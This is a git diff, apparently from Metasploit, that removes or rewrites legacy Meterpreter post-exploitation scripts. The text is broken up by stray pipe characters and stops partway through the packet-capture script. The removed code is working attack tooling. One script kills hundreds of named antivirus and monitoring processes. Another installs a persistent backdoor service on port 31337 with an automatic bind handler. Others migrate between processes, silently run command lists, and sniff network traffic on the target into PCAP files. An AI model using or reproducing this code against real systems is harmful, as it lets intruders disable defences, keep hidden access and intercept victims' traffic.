# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
||||
|
||||
#
|
||||
# Meterpreter script that kills all Antivirus processes
|
||||
# Provided by: Jerome Athias <jerome.athias [at] free.fr>
|
||||
#
|
||||
|
||||
@@exec_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help menu." ]
|
||||
)
|
||||
def usage
|
||||
print_line("Usage:" + @@exec_opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
@@exec_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
usage
|
||||
end
|
||||
}
|
||||
|
||||
print_status("Killing Antivirus services on the target...")
|
||||
|
||||
avs = %W{
|
||||
AAWTray.exe
|
||||
Ad-Aware.exe
|
||||
MSASCui.exe
|
||||
_avp32.exe
|
||||
_avpcc.exe
|
||||
_avpm.exe
|
||||
aAvgApi.exe
|
||||
ackwin32.exe
|
||||
adaware.exe
|
||||
advxdwin.exe
|
||||
agentsvr.exe
|
||||
agentw.exe
|
||||
alertsvc.exe
|
||||
alevir.exe
|
||||
alogserv.exe
|
||||
amon9x.exe
|
||||
anti-trojan.exe
|
||||
antivirus.exe
|
||||
ants.exe
|
||||
apimonitor.exe
|
||||
aplica32.exe
|
||||
apvxdwin.exe
|
||||
arr.exe
|
||||
atcon.exe
|
||||
atguard.exe
|
||||
atro55en.exe
|
||||
atupdater.exe
|
||||
atwatch.exe
|
||||
au.exe
|
||||
aupdate.exe
|
||||
auto-protect.nav80try.exe
|
||||
autodown.exe
|
||||
autotrace.exe
|
||||
autoupdate.exe
|
||||
avconsol.exe
|
||||
ave32.exe
|
||||
avgcc32.exe
|
||||
avgctrl.exe
|
||||
avgemc.exe
|
||||
avgnt.exe
|
||||
avgrsx.exe
|
||||
avgserv.exe
|
||||
avgserv9.exe
|
||||
avguard.exe
|
||||
avgw.exe
|
||||
avkpop.exe
|
||||
avkserv.exe
|
||||
avkservice.exe
|
||||
avkwctl9.exe
|
||||
avltmain.exe
|
||||
avnt.exe
|
||||
avp.exe
|
||||
avp.exe
|
||||
avp32.exe
|
||||
avpcc.exe
|
||||
avpdos32.exe
|
||||
avpm.exe
|
||||
avptc32.exe
|
||||
avpupd.exe
|
||||
avsched32.exe
|
||||
avsynmgr.exe
|
||||
avwin.exe
|
||||
avwin95.exe
|
||||
avwinnt.exe
|
||||
avwupd.exe
|
||||
avwupd32.exe
|
||||
avwupsrv.exe
|
||||
avxmonitor9x.exe
|
||||
avxmonitornt.exe
|
||||
avxquar.exe
|
||||
backweb.exe
|
||||
bargains.exe
|
||||
bd_professional.exe
|
||||
beagle.exe
|
||||
belt.exe
|
||||
bidef.exe
|
||||
bidserver.exe
|
||||
bipcp.exe
|
||||
bipcpevalsetup.exe
|
||||
bisp.exe
|
||||
blackd.exe
|
||||
blackice.exe
|
||||
blink.exe
|
||||
blss.exe
|
||||
bootconf.exe
|
||||
bootwarn.exe
|
||||
borg2.exe
|
||||
bpc.exe
|
||||
brasil.exe
|
||||
bs120.exe
|
||||
bundle.exe
|
||||
bvt.exe
|
||||
ccapp.exe
|
||||
ccevtmgr.exe
|
||||
ccpxysvc.exe
|
||||
cdp.exe
|
||||
cfd.exe
|
||||
cfgwiz.exe
|
||||
cfiadmin.exe
|
||||
cfiaudit.exe
|
||||
cfinet.exe
|
||||
cfinet32.exe
|
||||
claw95.exe
|
||||
claw95cf.exe
|
||||
clean.exe
|
||||
cleaner.exe
|
||||
cleaner3.exe
|
||||
cleanpc.exe
|
||||
click.exe
|
||||
cmd.exe
|
||||
cmd32.exe
|
||||
cmesys.exe
|
||||
cmgrdian.exe
|
||||
cmon016.exe
|
||||
connectionmonitor.exe
|
||||
cpd.exe
|
||||
cpf9x206.exe
|
||||
cpfnt206.exe
|
||||
ctrl.exe
|
||||
cv.exe
|
||||
cwnb181.exe
|
||||
cwntdwmo.exe
|
||||
datemanager.exe
|
||||
dcomx.exe
|
||||
defalert.exe
|
||||
defscangui.exe
|
||||
defwatch.exe
|
||||
deputy.exe
|
||||
divx.exe
|
||||
dllcache.exe
|
||||
dllreg.exe
|
||||
doors.exe
|
||||
dpf.exe
|
||||
dpfsetup.exe
|
||||
dpps2.exe
|
||||
drwatson.exe
|
||||
drweb32.exe
|
||||
drwebupw.exe
|
||||
dssagent.exe
|
||||
dvp95.exe
|
||||
dvp95_0.exe
|
||||
ecengine.exe
|
||||
efpeadm.exe
|
||||
emsw.exe
|
||||
ent.exe
|
||||
esafe.exe
|
||||
escanhnt.exe
|
||||
escanv95.exe
|
||||
espwatch.exe
|
||||
ethereal.exe
|
||||
etrustcipe.exe
|
||||
evpn.exe
|
||||
exantivirus-cnet.exe
|
||||
exe.avxw.exe
|
||||
expert.exe
|
||||
explore.exe
|
||||
f-agnt95.exe
|
||||
f-prot.exe
|
||||
f-prot95.exe
|
||||
f-stopw.exe
|
||||
fameh32.exe
|
||||
fast.exe
|
||||
fch32.exe
|
||||
fih32.exe
|
||||
findviru.exe
|
||||
firewall.exe
|
||||
fnrb32.exe
|
||||
fp-win.exe
|
||||
fp-win_trial.exe
|
||||
fprot.exe
|
||||
frw.exe
|
||||
fsaa.exe
|
||||
fsav.exe
|
||||
fsav32.exe
|
||||
fsav530stbyb.exe
|
||||
fsav530wtbyb.exe
|
||||
fsav95.exe
|
||||
fsgk32.exe
|
||||
fsm32.exe
|
||||
fsma32.exe
|
||||
fsmb32.exe
|
||||
gator.exe
|
||||
gbmenu.exe
|
||||
gbpoll.exe
|
||||
generics.exe
|
||||
gmt.exe
|
||||
guard.exe
|
||||
guarddog.exe
|
||||
hacktracersetup.exe
|
||||
hbinst.exe
|
||||
hbsrv.exe
|
||||
hotactio.exe
|
||||
hotpatch.exe
|
||||
htlog.exe
|
||||
htpatch.exe
|
||||
hwpe.exe
|
||||
hxdl.exe
|
||||
hxiul.exe
|
||||
iamapp.exe
|
||||
iamserv.exe
|
||||
iamstats.exe
|
||||
ibmasn.exe
|
||||
ibmavsp.exe
|
||||
icload95.exe
|
||||
icloadnt.exe
|
||||
icmon.exe
|
||||
icsupp95.exe
|
||||
icsuppnt.exe
|
||||
idle.exe
|
||||
iedll.exe
|
||||
iedriver.exe
|
||||
iexplorer.exe
|
||||
iface.exe
|
||||
ifw2000.exe
|
||||
inetlnfo.exe
|
||||
infus.exe
|
||||
infwin.exe
|
||||
init.exe
|
||||
intdel.exe
|
||||
intren.exe
|
||||
iomon98.exe
|
||||
istsvc.exe
|
||||
jammer.exe
|
||||
jdbgmrg.exe
|
||||
jedi.exe
|
||||
kavlite40eng.exe
|
||||
kavpers40eng.exe
|
||||
kavpf.exe
|
||||
kazza.exe
|
||||
keenvalue.exe
|
||||
kerio-pf-213-en-win.exe
|
||||
kerio-wrl-421-en-win.exe
|
||||
kerio-wrp-421-en-win.exe
|
||||
kernel32.exe
|
||||
killprocesssetup161.exe
|
||||
launcher.exe
|
||||
ldnetmon.exe
|
||||
ldpro.exe
|
||||
ldpromenu.exe
|
||||
ldscan.exe
|
||||
lnetinfo.exe
|
||||
loader.exe
|
||||
localnet.exe
|
||||
lockdown.exe
|
||||
lockdown2000.exe
|
||||
lookout.exe
|
||||
lordpe.exe
|
||||
lsetup.exe
|
||||
luall.exe
|
||||
luau.exe
|
||||
lucomserver.exe
|
||||
luinit.exe
|
||||
luspt.exe
|
||||
mapisvc32.exe
|
||||
mcagent.exe
|
||||
mcmnhdlr.exe
|
||||
mcshield.exe
|
||||
mctool.exe
|
||||
mcupdate.exe
|
||||
mcvsrte.exe
|
||||
mcvsshld.exe
|
||||
md.exe
|
||||
mfin32.exe
|
||||
mfw2en.exe
|
||||
mfweng3.02d30.exe
|
||||
mgavrtcl.exe
|
||||
mgavrte.exe
|
||||
mghtml.exe
|
||||
mgui.exe
|
||||
minilog.exe
|
||||
mmod.exe
|
||||
monitor.exe
|
||||
moolive.exe
|
||||
mostat.exe
|
||||
mpfagent.exe
|
||||
mpfservice.exe
|
||||
mpftray.exe
|
||||
mrflux.exe
|
||||
msapp.exe
|
||||
msbb.exe
|
||||
msblast.exe
|
||||
mscache.exe
|
||||
msccn32.exe
|
||||
mscman.exe
|
||||
msconfig.exe
|
||||
msdm.exe
|
||||
msdos.exe
|
||||
msiexec16.exe
|
||||
msinfo32.exe
|
||||
mslaugh.exe
|
||||
msmgt.exe
|
||||
msmsgri32.exe
|
||||
mssmmc32.exe
|
||||
mssys.exe
|
||||
msvxd.exe
|
||||
mu0311ad.exe
|
||||
mwatch.exe
|
||||
n32scanw.exe
|
||||
nav.exe
|
||||
navap.navapsvc.exe
|
||||
navapsvc.exe
|
||||
navapw32.exe
|
||||
navdx.exe
|
||||
navlu32.exe
|
||||
navnt.exe
|
||||
navstub.exe
|
||||
navw32.exe
|
||||
navwnt.exe
|
||||
nc2000.exe
|
||||
ncinst4.exe
|
||||
ndd32.exe
|
||||
neomonitor.exe
|
||||
neowatchlog.exe
|
||||
netarmor.exe
|
||||
netd32.exe
|
||||
netinfo.exe
|
||||
netmon.exe
|
||||
netscanpro.exe
|
||||
netspyhunter-1.2.exe
|
||||
netstat.exe
|
||||
netutils.exe
|
||||
nisserv.exe
|
||||
nisum.exe
|
||||
nmain.exe
|
||||
nod32.exe
|
||||
normist.exe
|
||||
norton_internet_secu_3.0_407.exe
|
||||
notstart.exe
|
||||
npf40_tw_98_nt_me_2k.exe
|
||||
npfmessenger.exe
|
||||
nprotect.exe
|
||||
npscheck.exe
|
||||
npssvc.exe
|
||||
nsched32.exe
|
||||
nssys32.exe
|
||||
nstask32.exe
|
||||
nsupdate.exe
|
||||
nt.exe
|
||||
ntrtscan.exe
|
||||
ntvdm.exe
|
||||
ntxconfig.exe
|
||||
nui.exe
|
||||
nupgrade.exe
|
||||
nvarch16.exe
|
||||
nvc95.exe
|
||||
nvsvc32.exe
|
||||
nwinst4.exe
|
||||
nwservice.exe
|
||||
nwtool16.exe
|
||||
ollydbg.exe
|
||||
onsrvr.exe
|
||||
optimize.exe
|
||||
ostronet.exe
|
||||
otfix.exe
|
||||
outpost.exe
|
||||
outpostinstall.exe
|
||||
outpostproinstall.exe
|
||||
padmin.exe
|
||||
panixk.exe
|
||||
patch.exe
|
||||
pavcl.exe
|
||||
pavproxy.exe
|
||||
pavsched.exe
|
||||
pavw.exe
|
||||
pccwin98.exe
|
||||
pcfwallicon.exe
|
||||
pcip10117_0.exe
|
||||
pcscan.exe
|
||||
pdsetup.exe
|
||||
periscope.exe
|
||||
persfw.exe
|
||||
perswf.exe
|
||||
pf2.exe
|
||||
pfwadmin.exe
|
||||
pgmonitr.exe
|
||||
pingscan.exe
|
||||
platin.exe
|
||||
pop3trap.exe
|
||||
poproxy.exe
|
||||
popscan.exe
|
||||
portdetective.exe
|
||||
portmonitor.exe
|
||||
powerscan.exe
|
||||
ppinupdt.exe
|
||||
pptbc.exe
|
||||
ppvstop.exe
|
||||
prizesurfer.exe
|
||||
prmt.exe
|
||||
prmvr.exe
|
||||
procdump.exe
|
||||
processmonitor.exe
|
||||
procexplorerv1.0.exe
|
||||
programauditor.exe
|
||||
proport.exe
|
||||
protectx.exe
|
||||
pspf.exe
|
||||
purge.exe
|
||||
qconsole.exe
|
||||
qserver.exe
|
||||
rapapp.exe
|
||||
rav7.exe
|
||||
rav7win.exe
|
||||
rav8win32eng.exe
|
||||
ray.exe
|
||||
rb32.exe
|
||||
rcsync.exe
|
||||
realmon.exe
|
||||
reged.exe
|
||||
regedit.exe
|
||||
regedt32.exe
|
||||
rescue.exe
|
||||
rescue32.exe
|
||||
rrguard.exe
|
||||
rshell.exe
|
||||
rtvscan.exe
|
||||
rtvscn95.exe
|
||||
rulaunch.exe
|
||||
run32dll.exe
|
||||
rundll.exe
|
||||
rundll16.exe
|
||||
ruxdll32.exe
|
||||
safeweb.exe
|
||||
sahagent.exe
|
||||
save.exe
|
||||
savenow.exe
|
||||
sbserv.exe
|
||||
sc.exe
|
||||
scam32.exe
|
||||
scan32.exe
|
||||
scan95.exe
|
||||
scanpm.exe
|
||||
scrscan.exe
|
||||
serv95.exe
|
||||
setup_flowprotector_us.exe
|
||||
setupvameeval.exe
|
||||
sfc.exe
|
||||
sgssfw32.exe
|
||||
sh.exe
|
||||
shellspyinstall.exe
|
||||
shn.exe
|
||||
showbehind.exe
|
||||
smc.exe
|
||||
sms.exe
|
||||
smss32.exe
|
||||
soap.exe
|
||||
sofi.exe
|
||||
sperm.exe
|
||||
spf.exe
|
||||
sphinx.exe
|
||||
spoler.exe
|
||||
spoolcv.exe
|
||||
spoolsv32.exe
|
||||
spyxx.exe
|
||||
srexe.exe
|
||||
srng.exe
|
||||
ss3edit.exe
|
||||
ssg_4104.exe
|
||||
ssgrate.exe
|
||||
st2.exe
|
||||
start.exe
|
||||
stcloader.exe
|
||||
supftrl.exe
|
||||
support.exe
|
||||
supporter5.exe
|
||||
svc.exe
|
||||
svchostc.exe
|
||||
svchosts.exe
|
||||
svshost.exe
|
||||
sweep95.exe
|
||||
sweepnet.sweepsrv.sys.swnetsup.exe
|
||||
symproxysvc.exe
|
||||
symtray.exe
|
||||
sysedit.exe
|
||||
system.exe
|
||||
system32.exe
|
||||
sysupd.exe
|
||||
taskmg.exe
|
||||
taskmgr.exe
|
||||
taskmo.exe
|
||||
taskmon.exe
|
||||
taumon.exe
|
||||
tbscan.exe
|
||||
tc.exe
|
||||
tca.exe
|
||||
tcm.exe
|
||||
tds-3.exe
|
||||
tds2-98.exe
|
||||
tds2-nt.exe
|
||||
teekids.exe
|
||||
tfak.exe
|
||||
tfak5.exe
|
||||
tgbob.exe
|
||||
titanin.exe
|
||||
titaninxp.exe
|
||||
tracert.exe
|
||||
trickler.exe
|
||||
trjscan.exe
|
||||
trjsetup.exe
|
||||
trojantrap3.exe
|
||||
tsadbot.exe
|
||||
tvmd.exe
|
||||
tvtmd.exe
|
||||
undoboot.exe
|
||||
updat.exe
|
||||
update.exe
|
||||
upgrad.exe
|
||||
utpost.exe
|
||||
vbcmserv.exe
|
||||
vbcons.exe
|
||||
vbust.exe
|
||||
vbwin9x.exe
|
||||
vbwinntw.exe
|
||||
vcsetup.exe
|
||||
vet32.exe
|
||||
vet95.exe
|
||||
vettray.exe
|
||||
vfsetup.exe
|
||||
vir-help.exe
|
||||
virusmdpersonalfirewall.exe
|
||||
vnlan300.exe
|
||||
vnpc3000.exe
|
||||
vpc32.exe
|
||||
vpc42.exe
|
||||
vpfw30s.exe
|
||||
vptray.exe
|
||||
vscan40.exe
|
||||
vscenu6.02d30.exe
|
||||
vsched.exe
|
||||
vsecomr.exe
|
||||
vshwin32.exe
|
||||
vsisetup.exe
|
||||
vsmain.exe
|
||||
vsmon.exe
|
||||
vsstat.exe
|
||||
vswin9xe.exe
|
||||
vswinntse.exe
|
||||
vswinperse.exe
|
||||
w32dsm89.exe
|
||||
w9x.exe
|
||||
watchdog.exe
|
||||
webdav.exe
|
||||
webscanx.exe
|
||||
webtrap.exe
|
||||
wfindv32.exe
|
||||
whoswatchingme.exe
|
||||
wimmun32.exe
|
||||
win-bugsfix.exe
|
||||
win32.exe
|
||||
win32us.exe
|
||||
winactive.exe
|
||||
window.exe
|
||||
windows.exe
|
||||
wininetd.exe
|
||||
wininitx.exe
|
||||
winlogin.exe
|
||||
winmain.exe
|
||||
winnet.exe
|
||||
winppr32.exe
|
||||
winrecon.exe
|
||||
winservn.exe
|
||||
winssk32.exe
|
||||
winstart.exe
|
||||
winstart001.exe
|
||||
wintsk32.exe
|
||||
winupdate.exe
|
||||
wkufind.exe
|
||||
wnad.exe
|
||||
wnt.exe
|
||||
wradmin.exe
|
||||
wrctrl.exe
|
||||
wsbgate.exe
|
||||
wupdater.exe
|
||||
wupdt.exe
|
||||
wyvernworksfirewall.exe
|
||||
xpf202en.exe
|
||||
zapro.exe
|
||||
zapsetup3001.exe
|
||||
zatutor.exe
|
||||
zonalm2601.exe
|
||||
zonealarm.exe
|
||||
}
|
||||
|
||||
client.sys.process.get_processes().each do |x|
|
||||
if (avs.index(x['name'].downcase))
|
||||
print_status("Killing off #{x['name']}...")
|
||||
client.sys.process.kill(x['pid'])
|
||||
end
|
||||
end
|
|
@ -1,139 +0,0 @@
|
|||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
||||
|
||||
#
|
||||
# Meterpreter script for installing the meterpreter service
|
||||
#
|
||||
|
||||
session = client
|
||||
|
||||
#
|
||||
# Options
|
||||
#
|
||||
opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "This help menu"],
|
||||
"-r" => [ false, "Uninstall an existing Meterpreter service (files must be deleted manually)"],
|
||||
"-A" => [ false, "Automatically start a matching exploit/multi/handler to connect to the service"]
|
||||
)
|
||||
|
||||
# Exec a command and return the results
|
||||
def m_exec(session, cmd)
|
||||
r = session.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true})
|
||||
b = ""
|
||||
while(d = r.channel.read)
|
||||
b << d
|
||||
end
|
||||
r.channel.close
|
||||
r.close
|
||||
b
|
||||
end
|
||||
|
||||
#
|
||||
# Default parameters
|
||||
#
|
||||
|
||||
based = File.join(Msf::Config.data_directory, "meterpreter")
|
||||
rport = 31337
|
||||
install = false
|
||||
autoconn = false
|
||||
remove = false
|
||||
if client.platform =~ /win32|win64/
|
||||
|
||||
#
|
||||
# Option parsing
|
||||
#
|
||||
opts.parse(args) do |opt, idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
print_line(opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
when "-A"
|
||||
autoconn = true
|
||||
when "-r"
|
||||
remove = true
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Create the persistent VBS
|
||||
#
|
||||
|
||||
if(not remove)
|
||||
print_status("Creating a meterpreter service on port #{rport}")
|
||||
else
|
||||
print_status("Removing the existing Meterpreter service")
|
||||
end
|
||||
|
||||
#
|
||||
# Upload to the filesystem
|
||||
#
|
||||
|
||||
tempdir = client.fs.file.expand_path("%TEMP%") + "\\" + Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
|
||||
print_status("Creating a temporary installation directory #{tempdir}...")
|
||||
client.fs.dir.mkdir(tempdir)
|
||||
|
||||
# Use an array of `from -> to` associations so that things
|
||||
# such as metsrv can be copied from the appropriate location
|
||||
# but named correctly on the target.
|
||||
bins = {
|
||||
'metsrv.x86.dll' => 'metsrv.dll',
|
||||
'metsvc-server.exe' => nil,
|
||||
'metsvc.exe' => nil
|
||||
}
|
||||
|
||||
bins.each do |from, to|
|
||||
next if (from != "metsvc.exe" and remove)
|
||||
to ||= from
|
||||
print_status(" >> Uploading #{from}...")
|
||||
fd = client.fs.file.new(tempdir + "\\" + to, "wb")
|
||||
path = (from == 'metsrv.x86.dll') ? MetasploitPayloads.meterpreter_path('metsrv','x86.dll') : File.join(based, from)
|
||||
fd.write(::File.read(path, ::File.size(path)))
|
||||
fd.close
|
||||
end
|
||||
|
||||
#
|
||||
# Execute the agent
|
||||
#
|
||||
if(not remove)
|
||||
print_status("Starting the service...")
|
||||
client.fs.dir.chdir(tempdir)
|
||||
data = m_exec(client, "metsvc.exe install-service")
|
||||
print_line("\t#{data}")
|
||||
else
|
||||
print_status("Stopping the service...")
|
||||
client.fs.dir.chdir(tempdir)
|
||||
data = m_exec(client, "metsvc.exe remove-service")
|
||||
print_line("\t#{data}")
|
||||
end
|
||||
|
||||
if(remove)
|
||||
m_exec(client, "cmd.exe /c del metsvc.exe")
|
||||
end
|
||||
|
||||
#
|
||||
# Setup the exploit/multi/handler if requested
|
||||
#
|
||||
if(autoconn)
|
||||
print_status("Trying to connect to the Meterpreter service at #{client.session_host}:#{rport}...")
|
||||
mul = client.framework.exploits.create("multi/handler")
|
||||
mul.datastore['WORKSPACE'] = client.workspace
|
||||
mul.datastore['PAYLOAD'] = "windows/metsvc_bind_tcp"
|
||||
mul.datastore['LPORT'] = rport
|
||||
mul.datastore['RHOST'] = client.session_host
|
||||
mul.datastore['ExitOnSession'] = false
|
||||
mul.exploit_simple(
|
||||
'Payload' => mul.datastore['PAYLOAD'],
|
||||
'RunAsJob' => true
|
||||
)
|
||||
end
|
||||
|
||||
else
|
||||
print_error("This version of Meterpreter is not supported with this Script!")
|
||||
raise Rex::Script::Completed
|
||||
end
|
|
@ -1,96 +0,0 @@
|
|||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
||||
|
||||
#
|
||||
# Simple example script that migrates to a specific process by name.
|
||||
# This is meant as an illustration.
|
||||
#
|
||||
|
||||
|
||||
spawn = false
|
||||
kill = false
|
||||
target_pid = nil
|
||||
target_name = nil
|
||||
|
||||
opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help menu." ],
|
||||
"-f" => [ false, "Launch a process and migrate into the new process"],
|
||||
"-p" => [ true , "PID to migrate to."],
|
||||
"-k" => [ false, "Kill original process."],
|
||||
"-n" => [ true, "Migrate into the first process with this executable name (explorer.exe)" ]
|
||||
)
|
||||
|
||||
opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-f"
|
||||
spawn = true
|
||||
when "-k"
|
||||
kill = true
|
||||
when "-p"
|
||||
target_pid = val.to_i
|
||||
when "-n"
|
||||
target_name = val.to_s
|
||||
when "-h"
|
||||
print_line(opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
else
|
||||
print_line(opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
}
|
||||
|
||||
# Creates a temp notepad.exe to migrate to depending the architecture.
|
||||
def create_temp_proc()
|
||||
# Use the system path for executable to run
|
||||
cmd = "notepad.exe"
|
||||
# run hidden
|
||||
proc = client.sys.process.execute(cmd, nil, {'Hidden' => true })
|
||||
return proc.pid
|
||||
end
|
||||
|
||||
# In case no option is provided show help
|
||||
if args.length == 0
|
||||
print_line(opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
### Main ###
|
||||
|
||||
if client.platform =~ /win32|win64/
|
||||
server = client.sys.process.open
|
||||
original_pid = server.pid
|
||||
print_status("Current server process: #{server.name} (#{server.pid})")
|
||||
|
||||
if spawn
|
||||
print_status("Spawning notepad.exe process to migrate to")
|
||||
target_pid = create_temp_proc
|
||||
end
|
||||
|
||||
if target_name and not target_pid
|
||||
target_pid = client.sys.process[target_name]
|
||||
if not target_pid
|
||||
print_status("Could not identify the process ID for #{target_name}")
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
end
|
||||
|
||||
begin
|
||||
print_good("Migrating to #{target_pid}")
|
||||
client.core.migrate(target_pid)
|
||||
print_good("Successfully migrated to process #{}")
|
||||
rescue ::Exception => e
|
||||
print_error("Could not migrate in to process.")
|
||||
print_error(e)
|
||||
end
|
||||
|
||||
if kill
|
||||
print_status("Killing original process with PID #{original_pid}")
|
||||
client.sys.process.kill(original_pid)
|
||||
print_good("Successfully killed process with PID #{original_pid}")
|
||||
end
|
||||
end
|
|
@ -17,40 +17,22 @@
|
|||
# Setting Arguments
|
||||
@@exec_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false,"Help menu." ],
|
||||
"-sl" => [ false,"Hide commands output for work in background sessions"],
|
||||
"-cl" => [ true,"Commands to execute. The command must be enclosed in double quotes and separated by a comma."],
|
||||
"-rc" => [ true,"Text file with list of commands, one per line."]
|
||||
)
|
||||
|
||||
#Setting Argument variables
|
||||
commands = nil
|
||||
script = []
|
||||
help = 0
|
||||
|
||||
################## Function Declarations ##################
|
||||
# Function for running a list of commands stored in a array, returs string
|
||||
def list_con_exec(cmdlst)
|
||||
print_status("Running Command List ...")
|
||||
cmdout = ""
|
||||
cmdlst.each do |cmd|
|
||||
next if cmd.strip.length < 1
|
||||
next if cmd[0,1] == "#"
|
||||
begin
|
||||
print_status "\tRunning command #{cmd}"
|
||||
@client.console.run_single(cmd)
|
||||
rescue ::Exception => e
|
||||
print_status("Error Running Command #{cmd}: #{e.class} #{e}")
|
||||
end
|
||||
end
|
||||
cmdout
|
||||
end
|
||||
|
||||
help = false
|
||||
silence = false
|
||||
|
||||
def usage
|
||||
print_line("Console Multi Command Execution Meterpreter Script ")
|
||||
print_line(@@exec_opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
################## Main ##################
|
||||
|
||||
@@exec_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
|
||||
|
@ -68,14 +50,34 @@ end
|
|||
end
|
||||
|
||||
when "-h"
|
||||
help = 1
|
||||
help = true
|
||||
when "-sl"
|
||||
silence = true
|
||||
end
|
||||
}
|
||||
|
||||
if args.length == 0 or help == 1 or commands.nil?
|
||||
if args.length == 0 or help or commands.nil?
|
||||
usage
|
||||
else
|
||||
list_con_exec(commands)
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
print_status("Running Command List ...")
|
||||
|
||||
commands.each do |cmd|
|
||||
next if cmd.strip.length < 1
|
||||
next if cmd[0,1] == "#"
|
||||
begin
|
||||
print_status "\tRunning command #{cmd}"
|
||||
if silence
|
||||
@client.console.disable_output = true
|
||||
end
|
||||
|
||||
@client.console.run_single(cmd)
|
||||
|
||||
if silence
|
||||
@client.console.disable_output = false
|
||||
end
|
||||
|
||||
rescue ::Exception => e
|
||||
print_status("Error Running Command #{cmd}: #{e.class} #{e}")
|
||||
end
|
||||
end
|
||||
|
|
|
@ -1,219 +0,0 @@
|
|||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
||||
# Author: Carlos Perez at carlos_perez[at]darkoperator.com
|
||||
#-------------------------------------------------------------------------------
|
||||
################## Variable Declarations ##################
|
||||
|
||||
@client = client
|
||||
|
||||
# Interval for recording packets
|
||||
rec_time = 30
|
||||
|
||||
# Interface ID
|
||||
int_id = nil
|
||||
|
||||
# List Interfaces
|
||||
list_int = nil
|
||||
|
||||
# Log Folder
|
||||
log_dest = nil
|
||||
@exec_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help menu."],
|
||||
"-t" => [ true, "Time interval in seconds between recollection of packet, default 30 seconds."],
|
||||
"-i" => [ true, "Interface ID number where all packet capture will be done."],
|
||||
"-li" => [ false, "List interfaces that can be used for capture."],
|
||||
"-l" => [ true, "Specify and alternate folder to save PCAP file."]
|
||||
)
|
||||
meter_type = client.platform
|
||||
|
||||
################## Function Declarations ##################
|
||||
|
||||
# Usage Message Function
|
||||
#-------------------------------------------------------------------------------
|
||||
def usage
|
||||
print_line "Meterpreter Script for capturing packets in to a PCAP file"
|
||||
print_line "on a target host given a interface ID."
|
||||
print_line(@exec_opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
# Wrong Meterpreter Version Message Function
|
||||
#-------------------------------------------------------------------------------
|
||||
def wrong_meter_version(meter = meter_type)
|
||||
print_error("#{meter} version of Meterpreter is not supported with this Script!")
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
# Function for creating log folder and returning log pa
|
||||
#-------------------------------------------------------------------------------
|
||||
def log_file(log_path = nil)
|
||||
#Get hostname
|
||||
host = @client.sys.config.sysinfo["Computer"]
|
||||
|
||||
# Create Filename info to be appended to downloaded files
|
||||
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
|
||||
|
||||
# Create a directory for the logs
|
||||
if log_path
|
||||
logs = ::File.join(log_path, 'logs', 'packetrecorder', host + filenameinfo )
|
||||
else
|
||||
logs = ::File.join(Msf::Config.log_directory, "scripts", 'packetrecorder', host + filenameinfo )
|
||||
end
|
||||
|
||||
# Create the log directory
|
||||
::FileUtils.mkdir_p(logs)
|
||||
|
||||
#logfile name
|
||||
logfile = logs + ::File::Separator + host + filenameinfo + ".cap"
|
||||
return Rex::FileUtils.clean_path(logfile)
|
||||
end
|
||||
|
||||
#Function for Starting Capture
|
||||
#-------------------------------------------------------------------------------
|
||||
def startsniff(interface_id)
|
||||
begin
|
||||
#Load Sniffer module
|
||||
@client.core.use("sniffer")
|
||||
print_status("Starting Packet capture on interface #{interface_id}")
|
||||
#starting packet capture with a buffer size of 200,000 packets
|
||||
@client.sniffer.capture_start(interface_id, 200000)
|
||||
print_good("Packet capture started")
|
||||
rescue ::Exception => e
|
||||
print_status("Error Starting Packet Capture: #{e.class} #{e}")
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
end
|
||||
|
||||
#Function for Recording captured packets into PCAP file
|
||||
#-------------------------------------------------------------------------------
|
||||
def packetrecord(packtime, logfile,intid)
|
||||
begin
|
||||
rec = 1
|
||||
print_status("Packets being saved in to #{logfile}")
|
||||
print_status("Packet capture interval is #{packtime} Seconds")
|
||||
#Inserting Packets every number of seconds specified
|
||||
while rec == 1
|
||||
path_cap = logfile
|
||||
path_raw = logfile + '.raw'
|
||||
fd = ::File.new(path_raw, 'wb+')
|
||||
#Flushing Buffers
|
||||
res = @client.sniffer.capture_dump(intid)
|
||||
bytes_all = res[:bytes] || 0
|
||||
bytes_got = 0
|
||||
bytes_pct = 0
|
||||
while (bytes_all > 0)
|
||||
res = @client.sniffer.capture_dump_read(intid,1024*512)
|
||||
bytes_got += res[:bytes]
|
||||
pct = ((bytes_got.to_f / bytes_all.to_f) * 100).to_i
|
||||
if(pct > bytes_pct)
|
||||
bytes_pct = pct
|
||||
end
|
||||
